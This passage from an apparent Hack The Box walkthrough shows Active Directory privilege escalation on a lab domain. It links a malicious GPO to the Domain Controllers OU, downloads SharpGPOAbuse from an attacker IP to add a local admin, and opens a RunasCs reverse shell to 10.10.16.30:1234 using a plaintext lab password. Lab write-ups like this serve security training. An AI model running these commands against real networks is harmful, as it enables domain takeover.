INFO: Querying computer: frizzdc.frizz.htb
INFO: Done in 00M 28S

sudo neo4j console
bloodhound

alt text

M.SchoolBus can WriteGPLink of:

  • Domain Controllers
  • Class_Frizz

The second contains v.frizzle which is a high interest target.

  • Class_Frizz can Affect GPO

If you can link a malicious GPO to an OU containing privileged systems, and you control the GPO, you can compromise everything in that OU potentially leading to full domain takeover.

First let’s create a GPO as M.SchoolBus and link it.

Creating a GPO and Linking it

1
2
3
4
5
6
7
8
PS C:\Users\M.SchoolBus> New-GPO -Name mal | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB" -LinkEnabled Yes

GpoId       : bd2bdc67-19f3-49ad-be64-1846401e4ea7
DisplayName : mal
Enabled     : True
Enforced    : False
Target      : OU=Domain Controllers,DC=frizz,DC=htb
Order       : 2

Affecting GPO with the malicious GPO

We will use this:

GPO Abusehttps://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master

To abuse the GPO and add our local account as admin.

Let’s transfer the exe:

1
2
3
4
PS C:\Users\M.SchoolBus> curl http://10.10.16.30/SharpGPOAbuse.exe -o gpo.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 80896  100 80896    0     0   101k      0 --:--:-- --:--:-- --:--:--  101k
1
2
3
4
5
6
7
8
9
10
11
.\gpo.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName "mal"
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of M.SchoolBus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "mal" is: {BD2BDC67-19F3-49AD-BE64-1846401E4EA7}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{BD2BDC67-19F3-49AD-BE64-1846401E4EA7}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!

Let’s force update the new GP Policy.

1
2
3
4
5
PS C:\Users\M.SchoolBus> gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

Exit the current SSH session of M.SchoolBus to let it take effect. Switch to your other SSH Session as f.frizzle transfer RunasCs and execute a reverse shell.

1
2
3
4
5
PS C:\Users\f.frizzle> .\runas.exe M.SchoolBus '!suBcig@MehTed!R' powershell.exe -r 10.10.16.30:1234
                                                                                                                                                                                      
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-48d38$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 4436 created in background.

This is a very dumb shell, so good luck.


This post is licensed under CC BY 4.0 by the author.